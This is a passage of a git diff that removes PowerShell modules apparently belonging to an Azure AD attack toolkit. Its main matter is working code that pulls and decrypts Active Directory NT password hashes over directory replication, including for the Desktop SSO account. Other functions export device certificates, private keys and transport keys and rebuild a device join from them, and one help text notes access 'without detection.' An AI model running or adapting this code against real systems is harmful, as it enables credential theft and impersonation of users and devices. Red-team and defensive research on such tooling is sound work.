# Disable and re-enable Azure AD Connect to force a full password synchronization
Set-ADSyncAADPasswordSyncConfiguration -SourceConnector $adConnector -TargetConnector $azureadConnector -Enable $false | Out-Null
Set-ADSyncAADPasswordSyncConfiguration -SourceConnector $adConnector -TargetConnector $azureadConnector -Enable $true | Out-Null
Write-Host "Full password sync enforced"
}
}
-323
View File
@@ -1,323 +0,0 @@
# This script contains functions for Active Directory Replication Service (DRS)
# Mar 22nd 2021
function Get-DesktopSSOAccountPassword
{
<#
.SYNOPSIS
Gets NTHash of Desktop SSO account
.DESCRIPTION
Gets NTHash of Desktop SSO account using Directory Replication Service (DRS).
.PARAMETER AccountName
The name of the Desktop SSO computer account. Defaults to AZUREADSSOACC
.PARAMETER Credentials
Credentials used to connect to Domain Controller. Must have Directory Replication permissions.
.PARAMETER Server
Name or ip address of the Domain Contoller.
.PARAMETER AsHex
If defined, returns the NTHash as hex string.
.Example
$cred = Get-Credential
PS C:\>$NTHash = Get-AADIntDesktopSSOAccountPassword -Credentials $cred -Server 192.168.0.10
.Example
$cred = Get-Credential
PS C:\>Get-AADIntDesktopSSOAccountPassword -Credentials $cred -Server dc01 -AsHex
ed31d88da3fc9aaa850ead2161faa815
#>
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)]
[string]$Server,
[Parameter(Mandatory=$true)]
[pscredential]$Credentials,
[Parameter(Mandatory=$false)]
[String]$AccountName="AZUREADSSOACC",
[Parameter(Mandatory=$false)]
[Switch]$AsHex
)
Process
{
# Get the object guid for the given account name
$dirEntry = [System.DirectoryServices.DirectoryEntry]::new("LDAP://$Server",$Credentials.UserName, $Credentials.GetNetworkCredential().Password)
$ADSearch = [System.DirectoryServices.DirectorySearcher]::new($dirEntry)
$ADSearch.Filter = "(name=$AccountName)"
$aduser = $ADSearch.FindOne()
$ObjectGuid = $aduser.Properties["ObjectGuid"][0]
if($AsHex)
{
return Get-ADUserNTHash -Server $Server -Credentials $Credentials -ObjectGuid $ObjectGuid -AsHex
}
else
{
return Get-ADUserNTHash -Server $Server -Credentials $Credentials -ObjectGuid $ObjectGuid
}
}
}
# Mar 21st 2021
function Get-ADUserNTHash
{
<#
.SYNOPSIS
Gets NTHash of the given object
.DESCRIPTION
Gets NTHash for the given object ID using Directory Replication Service (DRS).
.PARAMETER ObjectGuid
Guid of the AD object
.PARAMETER Credentials
Credentials used to connect to Domain Controller. Must have Directory Replication permissions.
.PARAMETER Server
Name or ip address of the Domain Contoller.
.PARAMETER AsHex
If defined, returns the NTHash as hex string.
.Example
$cred = Get-Credential
PS C:\>$NTHash = Get-AADIntAdUserNTHash -ObjectGuid 36f71b0f-9963-48e9-8efa-9441f54ed1a4 -Credentials $cred -Server 192.168.0.10
.Example
$cred = Get-Credential
PS C:\>Get-AADIntAdUserNTHash -ObjectGuid 36f71b0f-9963-48e9-8efa-9441f54ed1a4 -Credentials $cred -Server dc01 -AsHex
ed31d88da3fc9aaa850ead2161faa815
#>
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)]
[string]$Server,
[Parameter(Mandatory=$true)]
[pscredential]$Credentials,
[Parameter(ParameterSetName='Guid',Mandatory=$true)]
[Guid]$ObjectGuid=[guid]::Empty,
[Parameter(ParameterSetName='DN',Mandatory=$true)]
[String]$DistinguishedName,
[Parameter(Mandatory=$false)]
[Switch]$AsHex
)
Process
{
$ADObject = Replicate-ADObject -Server $Server -Credentials $Credentials -ObjectGuid $ObjectGuid -DistinguishedName $DistinguishedName
if($ADObject.NTHash)
{
if($AsHex)
{
return Convert-ByteArrayToHex -Bytes $ADObject.NTHash
}
else
{
return $ADObject.NTHash
}
}
}
}
# Mar 21st 2021
function Get-ADUserThumbnailPhoto
{
<#
.SYNOPSIS
Gets thumbnailPhoto of the given object
.DESCRIPTION
Gets thumbnailPhoto for the given object ID using Directory Replication Service (DRS).
Can be used to access ADFS KDS container without detection.
.PARAMETER ObjectGuid
Guid of the AD object
.PARAMETER Credentials
Credentials used to connect to Domain Controller. Must have Directory Replication permissions.
.PARAMETER Server
Name or ip address of the Domain Contoller.
.PARAMETER AsHex
If defined, returns the thumbnailPhoto as hex string.
.Example
$cred = Get-Credential
PS C:\>$photo = Get-AADIntADUserThumbnailPhoto -ObjectGuid 36f71b0f-9963-48e9-8efa-9441f54ed1a4 -Credentials $cred -Server 192.168.0.10
.Example
$cred = Get-Credential
PS C:\>Get-AADIntADUserThumbnailPhoto -ObjectGuid 36f71b0f-9963-48e9-8efa-9441f54ed1a4 -Credentials $cred -Server dc01 -AsHex
ed31d88da3fc9aaa850ead2161faa815
#>
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)]
[string]$Server,
[Parameter(Mandatory=$true)]
[pscredential]$Credentials,
[Parameter(ParameterSetName='Guid',Mandatory=$true)]
[Guid]$ObjectGuid=[guid]::Empty,
[Parameter(ParameterSetName='DN',Mandatory=$true)]
[String]$DistinguishedName,
[Parameter(Mandatory=$false)]
[Switch]$AsHex
)
Process
{
$ADObject = Replicate-ADObject -Server $Server -Credentials $Credentials -ObjectGuid $ObjectGuid -DistinguishedName $DistinguishedName
if($AsHex)
{
return Convert-ByteArrayToHex -Bytes $ADObject.ThumbnailPhoto
}
else
{
return $ADObject.ThumbnailPhoto
}
}
}
# Mar 21st 2021
# Replicate a single AD object using DSInternals.Replication
function Replicate-ADObject
{
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)]
[string]$Server,
[Parameter(Mandatory=$true)]
[pscredential]$Credentials,
[Parameter(Mandatory=$false)]
[Guid]$ObjectGuid,
[Parameter(Mandatory=$false)]
[String]$DistinguishedName
)
Begin
{
try
{
# Import DSInternals dlls
Add-Type -Path "$PSScriptRoot\DSInternals\NDceRpc.Microsoft.dll"
Add-Type -Path "$PSScriptRoot\DSInternals\DSInternals.Replication.Interop.dll"
Add-Type -Path "$PSScriptRoot\DSInternals\DSInternals.Replication.dll"
# Import native decrypt function
$NativeDecryptSource=@"
[DllImport("advapi32.dll", EntryPoint = "SystemFunction027", SetLastError = true)]
public static extern uint RtlDecryptNtOwfPwdWithIndex([In] byte[] encryptedNtOwfPassword, [In] ref int index, [In, Out] byte[] ntOwfPassword);
"@
$NativeDecrypt = Add-Type -memberDefinition $NativeDecryptSource -passthru -name NativeDecrypt -ErrorAction SilentlyContinue
Remove-Variable NativeDecryptSource
}
catch
{
Throw "Could not load required DLLs: $_.Exception.Message"
}
}
Process
{
# Connect to domain controller
Write-Verbose "Connecting to $Server as $($Credentials.UserName)"
$repClient = [DSInternals.Replication.DirectoryReplicationClient]::new($Server,[DSInternals.Replication.RpcProtocol]::TCP,$Credentials)
$sessionKey = $repClient.SessionKey
try
{
# Get the AD object
if($ObjectGuid -ne [guid]::Empty)
{
Write-Verbose "Getting AD object for $($ObjectGuid.ToString())"
$object = $repClient.GetReplicaObject($ObjectGuid)
}
else
{
Write-Verbose "Getting AD object for $DistinguishedName)"
$object = $repClient.GetReplicaObject($DistinguishedName)
}
Write-Verbose "Found object: $($object.DistinguishedName)"
# Get the attributes
# https://github.com/vletoux/ADSecrets/blob/master/AttdIDToAttribute
if($object.Attributes[1441827]) # thumbnailPhoto
{
$thumbnailPhoto = $object.Attributes[1441827].Values[0]
Write-Verbose " thumbnailPhoto ($($thumbnailPhoto.Count) bytes)"
$object | Add-Member -NotePropertyName "thumbnailPhoto" -NotePropertyValue $thumbnailPhoto
}
if($object.Attributes[589914]) # Decrypt the NT hash if present
{
$ntHash = $object.Attributes[ 589914].Values[0] # unicodePwd
# First round decrypt with session key
$salt = $ntHash[ 0..15]
$encSecret = $ntHash[16..35]
$md5 = [System.Security.Cryptography.MD5]::Create()
$md5.TransformBlock($sessionKey,0, $sessionKey.Count,$null,0)
$md5.TransformFinalBlock($salt, 0, 16)
$rc4Key = $md5.Hash
$encSecret = (Get-RC4 -Key $rc4Key -Data $encSecret)
# Second round decrypt with RID (Relative ID)
$sid = $object.Attributes[589970].Values[0] # objectSid
$rid = [BitConverter]::ToInt32($sid,$sid.Length - 4)
$encSecret = $encSecret[4..19] # Strip the CRC
$decSecret = [byte[]]::new(16)
$NativeDecrypt::RtlDecryptNtOwfPwdWithIndex($encSecret, [ref]$rid, $decSecret)
Write-Verbose " NTHash: $(Convert-ByteArrayToHex -Bytes $decSecret)"
$object | Add-Member -NotePropertyName "NTHash" -NotePropertyValue $decSecret
}
}
catch
{
if($_.Exception.Message.Contains("RPC"))
{
Throw "Could not connect to $Server as $($Credentials.UserName), check the server and credentials!"
}
}
finally
{
$repClient.Dispose()
}
if(!$object)
{
if($ObjectGuid -ne [guid]::Empty)
{
Throw "No AD object found for $($ObjectGuid.ToString())"
}
else
{
Throw "No AD object found for $DistinguishedName"
}
}
return $object
}
}
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
-530
View File
@@ -1,530 +0,0 @@
# This file contains functions for local AAD Joined devices
# Exports the device certificate of the local device
# Dec 17th 2021
function Export-LocalDeviceCertificate
{
<#
.SYNOPSIS
Exports the device certificate and private key of the local AAD joined/registered device.
.DESCRIPTION
Exports the device certificate and private key of the local AAD joined/registered device.
Certificate filename: <deviceid>.pfx
Private key filename: <deviceid>.pem
.Example
PS C\:>Export-AADIntLocalDeviceCertificate
Certificate exported to f72ad27e-5833-48d3-b1d6-00b89c429b91.pfx
#>
[CmdletBinding()]
param()
Process
{
# Check whether we are running in elevated session
Test-LocalAdministrator -Warn | Out-Null
# Get the join info
if(($joinInfo = Get-LocalDeviceJoinInfo) -eq $null)
{
Throw "Device seems not to be joined or registered."
}
# Get the certificate
Write-Verbose "Getting certificate $($joinInfo.CertThumb)"
$certificate = Get-Item -Path $joinInfo.CertPath
$binCert = $certificate.Export([System.Security.Cryptography.X509Certificates.X509ContentType]::Cert)
# Get the private key
Write-Verbose "Device key name: $($joinInfo.KeyName)"
if($joinInfo.JoinType -eq "Joined")
{
$keyPath = "$env:ALLUSERSPROFILE"
}
else
{
Write-Warning "Accessing key in user context will FAIL if already elevated to LOCAL SYSTEM."
$keyPath = "$env:APPDATA"
}
# CryptoAPI and CNG stores keys in different directories
# https://docs.microsoft.com/en-us/windows/win32/seccng/key-storage-and-retrieval
$paths = @(
"$keyPath\Microsoft\Crypto\RSA\MachineKeys\$($joinInfo.KeyName)"
"$keyPath\Microsoft\Crypto\Keys\$($joinInfo.KeyName)"
)
foreach($path in $paths)
{
$keyBlob = Get-BinaryContent $path -ErrorAction SilentlyContinue
if($keyBlob)
{
Write-Verbose "Key loaded from $path"
break
}
}
if(!$keyBlob)
{
if($joinInfo.KeyName.EndsWith(".PCPKEY"))
{
# This machine has a TPM
Throw "PCP keys are not supported, unable to export private key!"
}
else
{
Throw "Error accessing key. If you are already elevated to LOCAL SYSTEM, restart PowerShell and try again."
}
return
}
# Parse the key blob
$blobType = [System.BitConverter]::ToInt32($keyBlob,0)
switch($blobType)
{
1 { $deviceKey = Parse-CngBlob -Data $keyBlob -Decrypt }
2 { $deviceKey = Parse-CapiBlob -Data $keyBlob -Decrypt }
default { throw "Unsupported key blob type" }
}
$fileName = "$($joinInfo.deviceId).pfx"
Set-BinaryContent -Path $fileName -Value (New-PfxFile -RSAParameters $deviceKey.RSAParameters -X509Certificate $binCert)
Write-Host "Device certificate exported to $fileName"
}
}
# Exports the transport key of the local device
# Dec 18th 2021
function Export-LocalDeviceTransportKey
{
<#
.SYNOPSIS
Exports the transport key of the local AAD joined/registered device.
.DESCRIPTION
Exports the transport key of the local AAD joined/registered device.
Filename: <deviceid>_tk.pem
.Example
PS C\:>Export-AADIntLocalDeviceTransportKey
Transport key exported to f72ad27e-5833-48d3-b1d6-00b89c429b91_tk.pem
#>
[CmdletBinding()]
param()
Process
{
# Check whether we are running in elevated session
Test-LocalAdministrator -Warn | Out-Null
# Get the join info
if(($joinInfo = Get-LocalDeviceJoinInfo) -eq $null)
{
Throw "Device seems not to be joined or registered."
}
# Get the private key
Write-Verbose "Getting transport key"
$transportKeys = Get-LocalDeviceTransportKeys -JoinType $joinInfo.JoinType -IdpDomain $joinInfo.idpDomain -TenantId $joinInfo.tenantId -UserEmail $joinInfo.UserEmail
$fileName = "$($joinInfo.deviceId)_tk.pem"
Set-Content $fileName -Value (Convert-RSAToPEM -RSAParameters $transportKeys.RSAParameters)
Write-Host "Transport key exported to $fileName"
}
}
# Joins the local device to Azure AD
# Dec 20th 2021
function Join-LocalDeviceToAzureAD
{
<#
.SYNOPSIS
Joins the local Windows device to Azure AD using the given certificate.
.DESCRIPTION
Joins the local Windows device to Azure AD using the given certificate created earlier with AADInternals.
Creates required registry keys and values, saves transport key to SystemKeys, and starts related scheduled tasks.
.Parameter OSVersion
The operating system version of the device. Defaults to "10.0.18363.0"
.Parameter PfxFileName
File name of the .pfx device certificate.
.Parameter PfxPassword
The password of the .pfx device certificate.
.Parameter TransportKeyFileName
File name of the transportkey
.Parameter UserPrincipalName
The user principal name of the user.
.EXAMPLE
PS\:>Export-AADIntLocalDeviceCertificate
Certificate exported to f72ad27e-5833-48d3-b1d6-00b89c429b91.pfx
PS C\:>Export-AADIntLocalDeviceTransportKey
Transport key exported to f72ad27e-5833-48d3-b1d6-00b89c429b91_tk.pem
PS\:>Join-AADIntLocalDeviceToAzureAD -UserPrincipalName JohnD@company.com -PfxFileName .\f72ad27e-5833-48d3-b1d6-00b89c429b91.pfx -TransportKeyFileName .\f72ad27e-5833-48d3-b1d6-00b89c429b91_tk.pem
Device configured. To confirm success, restart and run: dsregcmd /status
.EXAMPLE
$token = Get-AADIntAccessTokenForAADJoin -SaveToCache
PS\:>Join-AADIntDeviceToAzureAD -DeviceName "My computer" -DeviceType "Commodore" -OSVersion "C64"
Device successfully registered to Azure AD:
DisplayName: "My computer"
DeviceId: d03994c9-24f8-41ba-a156-1805998d6dc7
Cert thumbprint: 78CC77315A100089CF794EE49670552485DE3689
Cert file name : "d03994c9-24f8-41ba-a156-1805998d6dc7.pfx"
Local SID:
S-1-5-32-544
Additional SIDs:
S-1-12-1-797902961-1250002609-2090226073-616445738
S-1-12-1-3408697635-1121971140-3092833713-2344201430
S-1-12-1-2007802275-1256657308-2098244751-2635987013
PS\:>Join-AADIntLocalDeviceToAzureAD -UserPrincipalName JohnD@company.com -PfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7.pfx
Device configured. To confirm success, restart and run: dsregcmd /status
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$UserPrincipalName,
[Parameter(Mandatory=$True)]
[String]$PfxFileName,
[Parameter(Mandatory=$False)]
[String]$PfxPassword,
[Parameter(Mandatory=$False)]
[String]$TransportKeyFileName,
[Parameter(Mandatory=$False)]
[String]$OSVersion = "10.0.19044.1288"
)
Begin
{
$sha256 = [System.Security.Cryptography.SHA256]::Create()
$WAM_AAD = "B16898C6-A148-4967-9171-64D755DA8520"
$WAM_MSA = "D7F9888F-E3FC-49b0-9EA6-A85B5F392A4F"
}
Process
{
# Check whether we are running in elevated session
Test-LocalAdministrator -Throw | Out-Null
# Import the certificate to LocalMachine's Personal store
if($PfxPassword)
{
$certificate = Import-PfxCertificate -FilePath $PfxFileName -Password ($PfxPassword | ConvertTo-SecureString -AsPlainText -Force) -CertStoreLocation Cert:\LocalMachine\My -Exportable
}
else
{
$certificate = Import-PfxCertificate -FilePath $PfxFileName -CertStoreLocation Cert:\LocalMachine\My -Exportable
}
Write-Verbose "Certificate ($($certificate.Subject)) imported to CERT:\LocalMachine\My\$($certificate.Thumbprint)"
# Collect the required information
$thumbprint = $certificate.Thumbprint
$oids = Parse-CertificateOIDs -Certificate $certificate
$tenantId = $oids.TenantId
$deviceId = $oids.DeviceId
Write-Verbose "Thumbprint: $thumbprint"
Write-Verbose "Device ID: $deviceId"
Write-Verbose "Tenant ID: $tenantId"
Write-Verbose "Auth User Obj ID: $($oids.AuthUserObjectId)"
Write-Verbose "Region: $($oids.Region)"
Write-Verbose "Join Type: $($oids.JoinType)"
if($oids.JoinType -eq 0)
{
# Certificates for AAD Registered devices won't work :(
Remove-Item $certificate -Force
Throw "Unable to join: Provided certificate is for AAD Registered device."
}
# Generate P2P cert and CA & import to correct stores
Write-Verbose "Generating P2P certificate & CA"
New-P2PDeviceCertificate -PfxFileName $PfxFileName -TenantId $tenantId -DeviceName (Get-ComputerName)
$P2P = Import-PfxCertificate -FilePath ".\$($deviceId)-P2P.pfx" -CertStoreLocation "Cert:\LocalMachine\My" -Exportable
Write-Verbose "Certificate ($($P2P.Subject)) imported to CERT:\LocalMachine\My\$($P2P.Thumbprint)"
if(-not (Test-Path "Cert:\LocalMachine\AAD Token Issuer"))
{
New-Item -Path "Cert:\LocalMachine" -Name "AAD Token Issuer" -ItemType "directory" -Force
}
$P2PCA = Import-Certificate -FilePath ".\$($deviceId)-P2P-CA.der" -CertStoreLocation "Cert:\LocalMachine\AAD Token Issuer"
Write-Verbose "Certificate ($($P2PCA.Subject)) imported to CERT:\LocalMachine\AAD Token Issuer\$($P2PCA.Thumbprint)"
# Generate the transport key using device id as name
if($TransportKeyFileName)
{
# Use the provided tkpriv
$tkPEM = (Get-Content $TransportKeyFileName) -join "`n"
$tkParameters = Convert-PEMToRSA -PEM $tkPEM
}
else
{
# Use dkpriv from the certificate
$tkParameters = $certificate.PrivateKey.ExportParameters($true)
}
$transportKeyName = $deviceId
$RSAFULLPRIVATEBLOB = New-KeyBLOB -Parameters $tkParameters -Type RSA3
$cngParameters=[System.Security.Cryptography.CngKeyCreationParameters]::new()
$cngParameters.KeyCreationOptions = 0x20 -bor 0x80 # Create machine key | overwrite
$cngParameters.Parameters.Add([System.Security.Cryptography.CngProperty]::new("Length",[System.BitConverter]::GetBytes(2048),"None"))
$cngParameters.Parameters.Add([System.Security.Cryptography.CngProperty]::new("RSAFULLPRIVATEBLOB",$RSAFULLPRIVATEBLOB,"None"))
$cngParameters.ExportPolicy = 0x01 -bor 0x02 # Allow export, allow plaintext export
$transportKey = [System.Security.Cryptography.CngKey]::Create("RSA",$transportKeyName,$cngParameters)
Write-Verbose "TransportKey name: $($transportKey.KeyName)"
Write-Verbose "TransportKey file name: $($transportKey.UniqueName)"
# Copy the private key to SystemKeys folder & delete from the current location
Copy-Item -Path "$env:ALLUSERSPROFILE\Microsoft\Crypto\Keys\$($transportKey.UniqueName)" -Destination "$env:ALLUSERSPROFILE\Microsoft\Crypto\SystemKeys" -Force
Write-Verbose "Transport key stored to $env:ALLUSERSPROFILE\Microsoft\Crypto\SystemKeys\$($transportKey.UniqueName)"
$transportKey.Delete()
# Create the registry keys
$CloudDomainJoinRoot = "HKLM:\SYSTEM\CurrentControlSet\Control\CloudDomainJoin"
New-Item -Path "$CloudDomainJoinRoot" -Name "JoinInfo" -Force | Out-Null
New-Item -Path "$CloudDomainJoinRoot\JoinInfo" -Name $thumbprint -Force | Out-Null
New-Item -Path "$CloudDomainJoinRoot" -Name "TenantInfo" -Force | Out-Null
New-Item -Path "$CloudDomainJoinRoot\TenantInfo" -Name $TenantId -Force | Out-Null
# Set join info
$joinInfo = @{
"IdpDomain" = "login.windows.net"
"TenantId" = $TenantId
"UserEmail" = $UserPrincipalName
"AttestationLevel" = 0
"AikCertStatus" = 0
"TransportKeyStatus" = 0
"DeviceDisplayName" = Get-ComputerName
"OsVersion" = $OSVersion
"DdidUpToDate" = 0
"LastSyncTime" = [int]((Get-Date).ToUniversalTime()-$epoch).TotalSeconds
}
Write-Verbose "Created key $CloudDomainJoinRoot\JoinInfo\$thumbprint"
foreach($key in $joinInfo.Keys)
{
Set-ItemProperty -Path "$CloudDomainJoinRoot\JoinInfo\$thumbprint" -Name $key -Value $joinInfo[$key] | Out-Null
Write-Verbose " $key = $($joinInfo[$key])"
}
# Set tenant info
$tenantInfo = @{
"DisplayName" = $UserPrincipalName.split("@")[1].Split(".")[0]
"MdmEnrollmentUrl" = ""
"MdmTermsOfUseUrl" = ""
"MdmComplianceUrl" = ""
"UserSettingSyncUrl" = ""
"DrsServiceVersion" = "1.0"
"DrsEndpoint" = "https://enterpriseregistration.windows.net/EnrollmentServer/DeviceEnrollmentWebService.svc"
"DrsResourceId" = "urn:ms-drs:enterpriseregistration.windows.net"
"AuthCodeUrl" = "https://login.microsoftonline.com/$tenantId/oauth2/authorize"
"AccessTokenUrl" = "https://login.microsoftonline.com/$tenantId/oauth2/token"
"CdjServiceVersion" = "2.0"
"CdjEndpoint" = "https://enterpriseregistration.windows.net/EnrollmentServer/device/"
"CdjResourceId" = "urn:ms-drs:enterpriseregistration.windows.net"
"NgcServiceVersion" = "1.0"
"NgcEndpoint" = "https://enterpriseregistration.windows.net/EnrollmentServer/key/"
"NgcResourceId" = "urn:ms-drs:enterpriseregistration.windows.net"
"WebAuthnServiceVersion" = "1.0"
"WebAuthnEndpoint" = "https://enterpriseregistration.windows.net/webauthn/$tenantId/"
"WebAuthnResourceId" = "urn:ms-drs:enterpriseregistration.windows.net"
"DeviceManagementServiceVersion" = "1.0"
"DeviceManagementEndpoint" = "https://enterpriseregistration.windows.net/manage/$tenantId/"
"DeviceManagementResourceId" = "urn:ms-drs:enterpriseregistration.windows.net"
"RbacPolicyEndpoint" = "https://pas.windows.net"
}
Write-Verbose "Created key $CloudDomainJoinRoot\TenantInfo\$tenantId"
foreach($key in $tenantInfo.Keys)
{
Set-ItemProperty -Path "$CloudDomainJoinRoot\TenantInfo\$tenantId" -Name $key -Value $tenantInfo[$key] | Out-Null
Write-Verbose " $key = $($tenantInfo[$key])"
}
# Calculate registry key parts for transportkey
$idp = Convert-ByteArrayToHex -Bytes ($sha256.ComputeHash([text.encoding]::Unicode.GetBytes("login.windows.net")))
$tenant = Convert-ByteArrayToHex -Bytes ($sha256.ComputeHash([text.encoding]::Unicode.GetBytes($TenantId)))
# Set the transport key name
New-Item -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Cryptography\Ngc\KeyTransportKey\PerDeviceKeyTransportKey" -Name "" -Force | Out-Null
New-Item -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Cryptography\Ngc\KeyTransportKey\PerDeviceKeyTransportKey\$idp" -Name $tenant -Force | Out-Null
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Cryptography\Ngc\KeyTransportKey\PerDeviceKeyTransportKey\$idp\$tenant" -Name "SoftwareKeyTransportKeyName" -Value $transportKeyName -Force | Out-Null
Write-Verbose "Transport key set: HKLM:\SYSTEM\CurrentControlSet\Control\Cryptography\Ngc\KeyTransportKey\PerDeviceKeyTransportKey\$idp\$tenant\SoftwareKeyTransportKeyName = $transportKeyName"
# Set some registry values
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\IdentityStore\LoadParameters\{$WAM_AAD}" -Name "LoginUri" -Value "https://login.microsoftonline.com" -Force | Out-Null
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\IdentityStore\LoadParameters\{$WAM_AAD}" -Name "Enabled" -Value 1 | Out-Null
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Provisioning\AutopilotPolicy" -Name "AutopilotMode" -Value 0 -Force | Out-Null
# Restart Software Protection Platform
Start-ScheduledTask -TaskPath "\Microsoft\Windows\SoftwareProtectionPlatform\" -TaskName "SvcRestartTask"
Write-Verbose "Restarted Software Protection Platform task."
# Enable and start AAD Device-Sync
Enable-ScheduledTask -TaskPath "\Microsoft\Windows\Workplace Join\" -TaskName "Device-Sync" | Out-Null
Start-ScheduledTask -TaskPath "\Microsoft\Windows\Workplace Join\" -TaskName "Device-Sync"
Write-Verbose "Enabled and started Device-Sync task."
# Run RegisterDeviceProtectionStateChanged
Start-ScheduledTask -TaskPath "\Microsoft\Windows\DeviceDirectoryClient\" -TaskName "RegisterDeviceProtectionStateChanged"
Write-Verbose "Ran RegisterDeviceProtectionStateChanged task."
Write-Host "Device configured. To confirm success, restart and run: dsregcmd /status"
}
End
{
$sha256.Dispose()
}
}
# Gets the join info of the local device
# Dec 23rd 2021
function Get-LocalDeviceJoinInfo
{
<#
.SYNOPSIS
Shows the Azure AD Join information of the local device.
.DESCRIPTION
Shows the Azure AD Join information of the local device.
.Example
PS C\:>Get-AADIntLocalDeviceJoinInfo
JoinType : Joined
RegistryRoot : HKLM:\SYSTEM\CurrentControlSet\Control\CloudDomainJoin
CertThumb : CEC55C2566633AC8DA3D9E3EAD98A599084D0C4C
CertPath : Cert:\LocalMachine\My\CEC55C2566633AC8DA3D9E3EAD98A599084D0C4C
TenantId : afdb4be1-057f-4dc1-98a9-327ffa079cca
DeviceId : f4a4ea70-b196-4305-9531-018c3bcfc112
AuthUserObjectId : d625e2e9-8465-4513-b6c9-8d34a3735d41
KeyName : 8bff0b7f02f6256b521de95a77d4e70d_934bc9f7-04ef-43d8-a343-610b736a4030
KeyFriendlyName : Device Identity Key
IdpDomain : login.windows.net
UserEmail : JohnD@company.com
AttestationLevel : 0
AikCertStatus : 0
TransportKeyStatus : 0
DeviceDisplayName : WIN-JohnD
OsVersion : 10.0.19044.1288
DdidUpToDate : 0
LastSyncTime : 1643370347
.Example
PS C\:>Get-AADIntLocalDeviceJoinInfo
WARNING: This device has a TPM, exporting keys probably does not work!
JoinType : Joined
RegistryRoot : HKLM:\SYSTEM\CurrentControlSet\Control\CloudDomainJoin
CertThumb : FFDABA36622C66F1F9104703D77603AE1964E92B
CertPath : Cert:\LocalMachine\My\FFDABA36622C66F1F9104703D77603AE1964E92B
TenantId : afdb4be1-057f-4dc1-98a9-327ffa079cca
DeviceId : e4c56ee8-419a-4421-bff4-1d3cb1c85ead
AuthUserObjectId : b62a31e9-8268-485f-aba8-69696cdf3048
KeyName : C:\ProgramData\Microsoft\Crypto\PCPKSP\[redacted]\[redacted].PCPKEY
KeyFriendlyName : Device Identity Key
IdpDomain : login.windows.net
UserEmail : package_c1b50acc-82f6-4a19-ba87-e62e5f7fbeee@company.com
AttestationLevel : 0
AikCertStatus : 0
TransportKeyStatus : 3
DeviceDisplayName : cloudpc-80153
OsVersion : 10.0.19044.1469
DdidUpToDate : 0
LastSyncTime : 1643622945
#>
[CmdletBinding()]
param()
Process
{
$AADJoinRoot = "HKLM:\SYSTEM\CurrentControlSet\Control\CloudDomainJoin"
$AADRegisteredRoot = "HKCU:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WorkplaceJoin"
# Check the join type and construct return value
if(Test-Path -Path "$AADJoinRoot\JoinInfo")
{
$joinRoot = $AADJoinRoot
$certRoot = "LocalMachine"
$attributes = [ordered]@{
"JoinType" = "Joined"
"RegistryRoot" = $AADJoinRoot
}
}
elseif(Test-Path -Path "$AADRegisteredRoot\JoinInfo")
{
$joinRoot = $AADRegisteredRoot
$certRoot = "CurrentUser"
$attributes = [ordered]@{
"JoinType" = "Registered"
"RegistryRoot" = $AADRegisteredRoot
}
}
else
{
return $null
}
# Get the Device certificate thumbnail from registery (assuming the device can only be joined once)
$regItem = (Get-ChildItem -Path "$joinRoot\JoinInfo\").Name
$certThumbnail = $regItem.Substring($regItem.LastIndexOf("\")+1)
$certificate = Get-Item -Path "Cert:\$certRoot\My\$certThumbnail"
$oids = Parse-CertificateOIDs -Certificate $certificate
$attributes["CertThumb" ] = "$certThumbnail"
$attributes["CertPath" ] = "Cert:\$certRoot\My\$certThumbnail"
$attributes["TenantId" ] = $oids.TenantId
$attributes["DeviceId" ] = $oids.DeviceId
$attributes["AuthUserObjectId"] = $oids.AuthUserObjectId
# This will fail for DeviceTransportKey because running as Local System
try
{
$attributes["KeyName" ] = [System.Security.Cryptography.X509Certificates.RSACertificateExtensions]::GetRSAPrivateKey($certificate).key.uniquename
$attributes["KeyFriendlyName"] = [System.Security.Cryptography.X509Certificates.RSACertificateExtensions]::GetRSAPrivateKey($certificate).key.uipolicy.FriendlyName
}
catch
{
# Okay
}
# Read the join info
$regItem = Get-Item -Path "$joinRoot\JoinInfo\$certThumbnail"
$valueNames = $regItem.GetValueNames()
foreach($name in $valueNames)
{
$attributes[$name] = $regItem.GetValue($name)
}
# Check the TPM
if($attributes["TransportKeyStatus"] -eq 3)
{
Write-Warning "Transport key stored to TPM, exporting not possible!"
}
return New-Object psobject -Property $attributes
}
}
-181
View File
@@ -1,181 +0,0 @@
# This file contains utility functions for local AAD Joined devices
# Exports the transport key of the local device
# Dec 17th 2021
function Get-LocalDeviceTransportKeys
{
[CmdletBinding()]
param(
[Parameter(Mandatory=$True)]
[ValidateSet('Joined','Registered')]
[String]$JoinType,
[Parameter(Mandatory=$True)]
[String]$IdpDomain,
[Parameter(Mandatory=$True)]
[String]$TenantId,
[Parameter(Mandatory=$True)]
[String]$UserEmail
)
Begin
{
$sha256 = [System.Security.Cryptography.SHA256]::Create()
}
Process
{
# Calculate registry key parts
$idp = Convert-ByteArrayToHex -Bytes ($sha256.ComputeHash([text.encoding]::Unicode.GetBytes($IdpDomain)))
$tenant = Convert-ByteArrayToHex -Bytes ($sha256.ComputeHash([text.encoding]::Unicode.GetBytes($TenantId)))
$email = Convert-ByteArrayToHex -Bytes ($sha256.ComputeHash([text.encoding]::Unicode.GetBytes($UserEmail)))
$sid = Convert-ByteArrayToHex -Bytes ($sha256.ComputeHash([text.encoding]::Unicode.GetBytes(([System.Security.Principal.WindowsIdentity]::GetCurrent()).User.Value)))
if($JoinType -eq "Joined")
{
$registryPath = "HKLM:\SYSTEM\CurrentControlSet\Control\Cryptography\Ngc\KeyTransportKey\PerDeviceKeyTransportKey\$Idp\$tenant"
}
else
{
$registryPath = "HKLM:\SYSTEM\CurrentControlSet\Control\Cryptography\Ngc\KeyTransportKey\$sid\$idp\$($tenant)_$($email)"
}
if((Test-Path -Path $registryPath) -eq $false)
{
Throw "The device seems not to be Azure AD joined or registered. Registry key not found: $registryPath"
}
# Get the Transport Key name from registry
try
